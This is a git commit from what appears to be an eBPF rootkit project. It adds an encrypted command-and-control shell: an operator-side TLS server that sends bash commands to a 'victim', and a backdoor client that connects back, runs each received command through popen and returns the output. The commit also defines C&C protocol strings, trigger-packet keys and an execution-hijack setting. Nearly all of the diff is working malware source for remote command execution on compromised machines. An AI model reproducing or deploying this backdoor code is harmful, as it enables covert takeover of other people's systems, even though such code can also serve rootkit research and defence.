Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional

This commit is contained in:
h3xduck
2022-05-07 17:55:27 -04:00
parent f6a4c1daa0
commit ce7d36371d
11 changed files with 1935 additions and 2702 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -188,6 +188,7 @@ void activate_command_control_shell(char* argv){
free(local_ip);
}
//Rootkit backdoor V2
void activate_command_control_shell_encrypted(char* argv){
char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);

Binary file not shown.

View File

@@ -0,0 +1,55 @@
#ifndef __CLIENT_COMMON_H
#define __CLIENT_COMMON_H
#include "openssl/err.h"
#include "openssl/ssl.h"
#include <arpa/inet.h>
#include <errno.h>
#include <malloc.h>
#include <netinet/in.h>
#include <resolv.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include "../../common/c&c.h"
#define KGRN "\x1B[32m"
#define KYLW "\x1B[33m"
#define KBLU "\x1B[34m"
#define KMGN "\x1B[35m"
#define KRED "\x1B[31m"
#define RESET "\x1B[0m"
#define CLIENT_MODE_LIVE_COMMAND 0
//Global variable, specifying current client mode
int client_mode = CLIENT_MODE_LIVE_COMMAND;
#define GC_SERVER_CLOSE_CONN "EXIT"
/**
* @brief Manages the result of a possible global command understood by the client overall
* (independent of the current mode) and returns 1 if it really was a global command
* or 0 if it was not.
*
* @param buf
* @return int
*/
int manage_global_command(char* buf, SSL* ssl){
if(strncmp(buf, GC_SERVER_CLOSE_CONN, strlen(GC_SERVER_CLOSE_CONN))==0){
if(ssl != NULL){
//If in a ssl connection
char* request = CC_PROT_FIN;
SSL_write(ssl, request, strlen(request));
//We must exit now
printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
exit(0);
}
}
//Not a recognized global command
return 0;
}
#endif

View File

@@ -13,290 +13,199 @@
#include <sys/types.h>
#include <unistd.h>
#include "../../common/c&c.h"
#include "common.h"
#define FAIL -1
#define USE_FUNCTIONS 0
/**
* @brief Operates input in command shell mode.
* Returns whether the connection should keep open (0) or not (otherwise)
*
* @param buf
* @param ssl
* @return int
*/
int live_command_shell_mode(char* buf, SSL *ssl){
int is_global_command = manage_global_command(buf, ssl);
if(is_global_command == 1){
//Already finished then, go to next command input
return 0;
}
#if (USE_FUNCTIONS)
SSL_CTX *InitServerCTX(void) {
const SSL_METHOD *method;
SSL_CTX *ctx;
//Not a global command, proceeding to analyze in live command shell mode
int bytes;
char* request = calloc(4096, sizeof(char));
strcpy(request, CC_PROT_BASH_COMMAND_REQUEST);
strcat(request, buf);
SSL_write(ssl, request, strlen(request));
bytes = SSL_read(ssl, buf, BUFSIZ);
buf[bytes] = '\0';
//If valid message in protocol, we proceed to parse it
if(strncmp(buf, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){
if (bytes > 0) {
//printf("Reply with:\n[%s]\n", response);
char *p;
p = strtok(buf, "#");
p = strtok(NULL, "#");
if(p){
//Print response
printf("%s\n", p);
}else{
printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n");
}
} else {
ERR_print_errors_fp(stderr);
}
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
}else{
//If at this point, then we failed to identify the backdoor message
//We attempt to send a final message indicating we are halting the connection
printf("[" KRED "ERROR" RESET "]""Backdoor sent unrecognizable message:\n[%s]\n", buf);
printf("[" KBLU "INFO" RESET "]""Shutting down connection now\n");
const char *response = CC_PROT_FIN;
SSL_write(ssl, response, strlen(response));
return -1;
}
OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */
SSL_load_error_strings(); /* load all error messages */
method = TLSv1_2_server_method(); /* create new server-method instance */
ctx = SSL_CTX_new(method); /* create new context from method */
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
abort();
}
return ctx;
//Connection should keep open
return 0;
}
void LoadCertificates(SSL_CTX *ctx, const char *CertFile, const char *KeyFile) {
/* set the local certificate from CertFile */
if (SSL_CTX_use_certificate_file(ctx, CertFile, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
instructionsForPem();
abort();
}
/* set the private key from KeyFile (may be the same as CertFile) */
if (SSL_CTX_use_PrivateKey_file(ctx, KeyFile, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
instructionsForPem();
abort();
}
/* verify private key */
if (!SSL_CTX_check_private_key(ctx)) {
fprintf(stderr, "Private key does not match the public certificate\n");
abort();
}
}
// Create the SSL socket and intialize the socket address structure
int OpenListener(int port) {
int sd;
struct sockaddr_in addr;
sd = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sd, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
perror("can't bind port");
abort();
}
if (listen(sd, 10) != 0) {
perror("Can't configure listening port");
abort();
}
return sd;
}
void ShowCerts(SSL *ssl) //? RBW
{
X509 *cert;
char *line;
cert = SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line);
free(line);
X509_free(cert);
} else {
printf("No certificates.\n");
}
}
/* Serve the connection -- threadable */
void Servlet(SSL *ssl) {
char buf[1024] = {0};
int sd, bytes;
// this is my attempt to run HTTPS.. This is sort of the minimal header that
// seems to work. \r is absolutely necessary.
const char *szHelloWorld =
"HTTP/1.1 200 OK\r\n"
"Content-type: text/html\r\n"
"\r\n"
"<html>\n"
"<body>\n"
"<h1>So, this works, if you added a security exception to your web "
"browser</h1>\n"
"<h2>Or.... are using a genuine certificate.</h2>\n"
"<h3>This is using functions BTW..</h3>\n"
"</body>\n"
"</html>\n";
if (SSL_accept(ssl) == FAIL) /* do SSL-protocol accept */
{
ERR_print_errors_fp(stderr);
} else {
ShowCerts(ssl); /* get any certificates */
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get request */
buf[bytes] = '\0';
printf("Client msg:\n[%s]\n", buf);
if (bytes > 0) {
printf("Reply with:\n[%s]\n", szHelloWorld);
SSL_write(ssl, szHelloWorld, strlen(szHelloWorld));
} else {
ERR_print_errors_fp(stderr);
}
}
sd = SSL_get_fd(ssl); /* get socket connection */
SSL_free(ssl); /* release SSL state */
close(sd); /* close connection */
}
#endif
int server_run(int port) {
SSL_CTX *ctx;
int server;
const char *szPemPublic = "mycert.pem";
const char *szPemPrivate = "mycert.pem";
#if (!(USE_FUNCTIONS))
const SSL_METHOD *method;
#endif
SSL_CTX *ctx;
int server;
const char *szPemPublic = "mycert.pem";
const char *szPemPrivate = "mycert.pem";
const SSL_METHOD *method;
if (port < 1024) {
if (getuid() != 0) {
printf("This program must be run as root/sudo user since your port # "
"(%d) is < 1024\n",
port);
exit(1);
}
}
if (port < 1024) {
if (getuid() != 0) {
printf("This program must be run as root/sudo user since your port # "
"(%d) is < 1024\n",
port);
exit(1);
}
}
SSL_library_init(); /* Initialize the SSL library */
SSL_library_init(); /* Initialize the SSL library */
#if (USE_FUNCTIONS)
ctx = InitServerCTX(); /* initialize SSL */
#else
// InitServerCTX ();
OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */
SSL_load_error_strings(); /* load all error messages */
method = TLSv1_2_server_method(); /* create new server-method instance */
ctx = SSL_CTX_new(method); /* create new context from method */
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
abort();
}
#endif
// InitServerCTX ();
OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */
SSL_load_error_strings(); /* load all error messages */
method = TLSv1_2_server_method(); /* create new server-method instance */
ctx = SSL_CTX_new(method); /* create new context from method */
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
abort();
}
#if (USE_FUNCTIONS)
LoadCertificates(ctx, szPemPublic, szPemPrivate); /* load certs */
#else
/* set the local certificate from CertFile */
if (SSL_CTX_use_certificate_file(ctx, szPemPublic, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
abort();
}
/* set the local certificate from CertFile */
if (SSL_CTX_use_certificate_file(ctx, szPemPublic, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
abort();
}
/* set the private key from KeyFile (may be the same as CertFile) */
if (SSL_CTX_use_PrivateKey_file(ctx, szPemPrivate, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
abort();
}
/* set the private key from KeyFile (may be the same as CertFile) */
if (SSL_CTX_use_PrivateKey_file(ctx, szPemPrivate, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
abort();
}
/* verify private key */
if (!SSL_CTX_check_private_key(ctx)) {
fprintf(stderr, "Private key does not match the public certificate\n");
abort();
}
#endif
/* verify private key */
if (!SSL_CTX_check_private_key(ctx)) {
fprintf(stderr, "Private key does not match the public certificate\n");
abort();
}
#if (USE_FUNCTIONS)
server = OpenListener(portnum); /* create server socket */
#else
struct sockaddr_in addr;
struct sockaddr_in addr;
server = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
perror("can't bind port");
abort();
}
if (listen(server, 10) != 0) {
perror("Can't configure listening port");
abort();
}
#endif
server = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
perror("can't bind port");
abort();
}
if (listen(server, 10) != 0) {
perror("Can't configure listening port");
abort();
}
for (;;) {
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
SSL *ssl;
for (;;) {
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
SSL *ssl;
#if (!(USE_FUNCTIONS))
char buf[1024] = {0};
int sd, bytes;
char buf[1024] = {0};
int sd;
// this is my attempt to run HTTPS.. This is sort of the minimal header that
// seems to work. \r is absolutely necessary.
const char *response =
"HTTP/1.1 200 OK\r\n"
"Content-type: text/html\r\n"
"\r\n"
"<html>\n"
"<body>\n"
"<h1>So, this works, if you added a security exception to your web "
"browser</h1>\n"
"<h2>Or.... are using a genuine certificate.</h2>\n"
"<h3>This is <u><i>NOT</i></u> using functions BTW..</h3>\n"
"</body>\n"
"</html>\n";
#endif
int client;
printf("Listening for connections\n");
client = accept(server, (struct sockaddr *)&addr,
&len); /* accept connection as usual */
printf("Connection: %s:%d\n", inet_ntoa(addr.sin_addr),
ntohs(addr.sin_port));
ssl = SSL_new(ctx); /* get new SSL state with context */
SSL_set_fd(ssl, client); /* set connection socket to SSL state */
#if (USE_FUNCTIONS)
Servlet(ssl); /* service connection */
#else
if (SSL_accept(ssl) == FAIL) /* do SSL-protocol accept */
{
ERR_print_errors_fp(stderr);
} else {
X509 *cert;
char *line;
int client;
printf("[" KBLU "INFO" RESET "]""Listening for connections\n");
client = accept(server, (struct sockaddr *)&addr,
&len); /* accept connection as usual */
printf("[" KGRN "SUCCESS" RESET "]""Connection established: %s:%d\n", inet_ntoa(addr.sin_addr),
ntohs(addr.sin_port));
ssl = SSL_new(ctx); /* get new SSL state with context */
SSL_set_fd(ssl, client); /* set connection socket to SSL state */
cert =
SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line);
free(line);
X509_free(cert);
} else {
printf("No certificates.\n");
}
if (SSL_accept(ssl) == FAIL){ /* do SSL-protocol accept */
ERR_print_errors_fp(stderr);
} else {
X509 *cert;
char *line;
// ShowCerts (ssl); /* get any certificates */
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get request */
buf[bytes] = '\0';
cert = SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
if (cert != NULL) {
printf("[" KBLU "INFO" RESET "]""Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("[" KBLU "INFO" RESET "]"
"Subject: %s\n",
line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("[" KBLU "INFO" RESET "]""Issuer: %s\n",line);
free(line);
X509_free(cert);
} else {
printf("[" KYLW "WARN" RESET "]""Client has no certificate.\n");
}
printf("Client msg:\n[%s]\n", buf);
int connection_terminate = 0;
printf("[" KBLU "INFO" RESET "]""Live command shell mode active by default\n");
while(connection_terminate==0){
char buf[BUFSIZ];
//Depending on the mode, we show different UI and commands
switch(client_mode){
case CLIENT_MODE_LIVE_COMMAND:
printf(">> client["""KYLW"command live"RESET"""]>: ");
fgets(buf, BUFSIZ, stdin);
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
buf[strlen(buf)-1] = '\0';
}
connection_terminate = live_command_shell_mode(buf, ssl);
break;
default:
printf("Invalid client mode, fatal error, halting\n");
exit(FAIL);
}
}
}
sd = SSL_get_fd(ssl); /* get socket connection */
SSL_free(ssl); /* release SSL state */
close(sd); /* close connection */
}
close(server); /* close server socket */
if (bytes > 0) {
printf("Reply with:\n[%s]\n", response);
SSL_write(ssl, response, strlen(response));
} else {
ERR_print_errors_fp(stderr);
}
}
sd = SSL_get_fd(ssl); /* get socket connection */
SSL_free(ssl); /* release SSL state */
close(sd); /* close connection */
#endif
// break;
}
close(server); /* close server socket */
ERR_free_strings(); /* free memory from SSL_load_error_strings */
EVP_cleanup(); /* free memory from OpenSSL_add_all_algorithms */
SSL_CTX_free(ctx); /* release context */
ERR_free_strings(); /* free memory from SSL_load_error_strings */
EVP_cleanup(); /* free memory from OpenSSL_add_all_algorithms */
SSL_CTX_free(ctx); /* release context */
return 0;
return 0;
}

Binary file not shown.

View File

@@ -1,14 +1,18 @@
#ifndef __BPF_CC_H
#define __BPF_CC_H
//C&C V0
//C&C V0 & V1 --> Unencrypted transmission with RAW sockets, no TCP conn
//Protocol messages are also used in the secure channel of V2 & V3 backdoor
#define CC_PROT_SYN "CC_SYN"
#define CC_PROT_ACK "CC_ACK"
#define CC_PROT_MSG "CC_MSG#"
#define CC_PROT_FIN_PART "CC_FIN"
#define CC_PROT_ERR "CC_ERR"
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
#define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#"
#define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#"
//C&C V1 -- bpv47-like trigger + encrypted shell
//C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
#define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
#define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
@@ -17,7 +21,7 @@
#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
//C&C V2 -- Distributed hidden payload in packet stream
//C&C V3 -- Distributed hidden payload in packet stream
struct trigger_t {
unsigned char xor_key;
unsigned int ip;

View File

@@ -20,7 +20,7 @@
//EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
#define EXEC_HIJACK_ACTIVE_TEMP 1
#define EXEC_HIJACK_ACTIVE_TEMP 0
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1

View File

@@ -17,174 +17,168 @@
abort(); \
} while (0)
#define USE_FUNCTIONS 0
/**
* @brief Executes a command in a pseudo terminal and returns stdout result
*
* @param command
* @return char*
*/
char *execute_command(char *command) {
FILE *fp;
char *res = calloc(4096, sizeof(char));
char buf[1024];
#if (USE_FUNCTIONS)
int OpenConnection(const char *hostname, uint16_t port) {
int sd;
struct hostent *host;
struct sockaddr_in addr;
fp = popen(command, "r");
if (fp == NULL) {
perror("Failed to run command");
return NULL;
}
if ((host = gethostbyname(hostname)) == NULL) {
perror(hostname);
LOCAL_ABORT();
}
sd = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = *(long *)(host->h_addr);
while (fgets(buf, sizeof(buf), fp) != NULL) {
strcat(res, buf);
}
// printf("RESULT OF COMMAND: %s\n", res);
if (connect(sd, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
close(sd);
perror(hostname);
fprintf(stderr, "Is the server running, and on the correct port (%d)?\n",
port);
LOCAL_ABORT();
}
return sd;
}
SSL_CTX *InitCTX(void) {
const SSL_METHOD *method;
SSL_CTX *ctx;
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */
method = TLSv1_2_client_method(); /* Create new client-method instance */
ctx = SSL_CTX_new(method); /* Create new context */
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
LOCAL_ABORT();
}
return ctx;
}
void ShowCerts(SSL *ssl) {
X509 *cert;
char *line;
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line); /* free the malloc'ed string */
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n\n", line);
free(line); /* free the malloc'ed string */
X509_free(cert); /* free the malloc'ed certificate copy */
} else {
printf("Info: No client certificates configured.\n");
}
}
#endif
int client_run(char* hostname, uint16_t portnum) {
SSL_CTX *ctx;
int server;
SSL *ssl;
static char buf[1024 * 1024];
int bytes;
#if (!(USE_FUNCTIONS))
struct hostent *host;
struct sockaddr_in addr;
const SSL_METHOD *method;
#endif
// Initialize the SSL library
SSL_library_init();
#if (USE_FUNCTIONS)
ctx = InitCTX();
server = OpenConnection(hostname, portnum);
#else
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */
method = TLSv1_2_client_method(); /* Create new client-method instance */
ctx = SSL_CTX_new(method); /* Create new context */
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
LOCAL_ABORT();
}
if ((host = gethostbyname(hostname)) == NULL) {
perror(hostname);
LOCAL_ABORT();
}
server = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(portnum);
addr.sin_addr.s_addr = *(long *)(host->h_addr);
if (connect(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
close(server);
perror(hostname);
fprintf(stderr, "Is the server running, and on the correct port (%d)?\n",
portnum);
LOCAL_ABORT();
}
#endif
ssl = SSL_new(ctx); /* create new SSL connection state */
SSL_set_fd(ssl, server); /* attach the socket descriptor */
if (SSL_connect(ssl) <= 0) /* perform the connection */
{
ERR_print_errors_fp(stderr);
} else {
#if (!(USE_FUNCTIONS))
X509 *cert;
char *line;
#endif
char request[4096];
sprintf(request,
"GET / HTTP/1.1\r\n"
"User-Agent: Wget/1.17.1 (linux-gnu)\r\n"
"Accept: */*\r\n"
"Accept-Encoding: identity\r\n"
"Host: %s:%d\r\n"
// "Connection: Keep-Alive\n"
"\r\n",
hostname, portnum);
printf("Sending:\n[%s]\n", request);
printf("\n\nConnected with %s encryption\n", SSL_get_cipher(ssl));
#if (USE_FUNCTIONS)
ShowCerts(ssl); /* get any certs */
#else
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line); /* free the malloc'ed string */
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n\n", line);
free(line); /* free the malloc'ed string */
X509_free(cert); /* free the malloc'ed certificate copy */
} else {
printf("Info: No client certificates configured.\n");
}
#endif
SSL_write(ssl, request, strlen(request)); /* encrypt & send message */
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get reply & decrypt */
buf[bytes] = 0;
printf("Received (%d bytes):\n[%s]\n", bytes, buf);
// second send.. - for my real web page, it comes in two parts.
// bytes = SSL_read (ssl, buf, sizeof (buf)); /* get reply & decrypt */
// buf[bytes] = 0;
// printf ("Received (%d bytes):\n[%s]\n", bytes, buf);
SSL_free(ssl); /* release connection state */
}
close(server); /* close socket */
SSL_CTX_free(ctx); /* release context */
return 0;
pclose(fp);
return res;
}
int client_run(char *hostname, uint16_t portnum) {
SSL_CTX *ctx;
int server;
SSL *ssl;
static char buf[1024 * 1024];
int bytes;
struct hostent *host;
struct sockaddr_in addr;
const SSL_METHOD *method;
// Initialize the SSL library
SSL_library_init();
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */
method = TLSv1_2_client_method(); /* Create new client-method instance */
ctx = SSL_CTX_new(method); /* Create new context */
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
LOCAL_ABORT();
}
if ((host = gethostbyname(hostname)) == NULL) {
perror(hostname);
LOCAL_ABORT();
}
server = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(portnum);
addr.sin_addr.s_addr = *(long *)(host->h_addr);
int conn_tries = 3;
while (conn_tries >= 0) {
if (connect(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
if (conn_tries > 1) {
conn_tries--;
printf("Failed to connect, trying again. Remaining tries: %i\n",
conn_tries);
sleep(1);
continue;
}
close(server);
perror(hostname);
fprintf(stderr, "Is the server running, and on the correct port (%d)?\n",
portnum);
LOCAL_ABORT();
} else {
// Connected
conn_tries = -1;
}
}
ssl = SSL_new(ctx); /* create new SSL connection state */
SSL_set_fd(ssl, server); /* attach the socket descriptor */
conn_tries = 3;
int connection_terminate = 0;
while (conn_tries > 0 && connection_terminate == 0) {
if (SSL_connect(ssl) <= 0) {
// Connection failed
conn_tries--;
printf("Failed to establish SSL connection, trying again. Remaining "
"tries: %i\n",
conn_tries);
ERR_print_errors_fp(stderr);
sleep(1);
} else {
// Connection success
X509 *cert;
char *line;
conn_tries = 0;
printf("\nConnected with %s encryption\n", SSL_get_cipher(ssl));
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n\n", line);
free(line);
X509_free(cert);
} else {
printf("Info: No client certificates configured.\n");
}
while(connection_terminate == 0){
bytes = SSL_read(ssl, buf, sizeof(buf)); // Get request
buf[bytes] = '\0';
printf("Raw server msg:\n[%s]\n", buf);
// If valid message in protocol, we proceed to parse it
if (strncmp(buf, CC_PROT_BASH_COMMAND_REQUEST, strlen(CC_PROT_BASH_COMMAND_REQUEST)) == 0) {
if (bytes > 0) {
// printf("Reply with:\n[%s]\n", response);
char *p;
p = strtok(buf, "#");
p = strtok(NULL, "#");
if (p) {
char *res = execute_command(p);
char *response = calloc(4096, sizeof(char));
if(res==NULL){
strcpy(response, CC_PROT_ERR);
}else{
strcpy(response, CC_PROT_BASH_COMMAND_RESPONSE);
strcat(response, res);
}
printf("Answering: \n%s\n", response);
SSL_write(ssl, response, strlen(response));
free(response);
} else {
printf("Could not parse message correctly, ignoring\n");
}
} else {
ERR_print_errors_fp(stderr);
}
}else if (strncmp(buf, CC_PROT_FIN, strlen(CC_PROT_FIN)) == 0) {
printf("Server requested to stop the connection\n");
connection_terminate = 1;
}else {
//If at this point, then we failed to identify the server message
printf("Message not recognizable: %s\n", buf);
char *response = CC_PROT_ERR;
SSL_write(ssl, response, strlen(response));
}
}
}
}
printf("SSL client closed\n");
close(server); /* close socket */
SSL_CTX_free(ctx); /* release context */
return 0;
}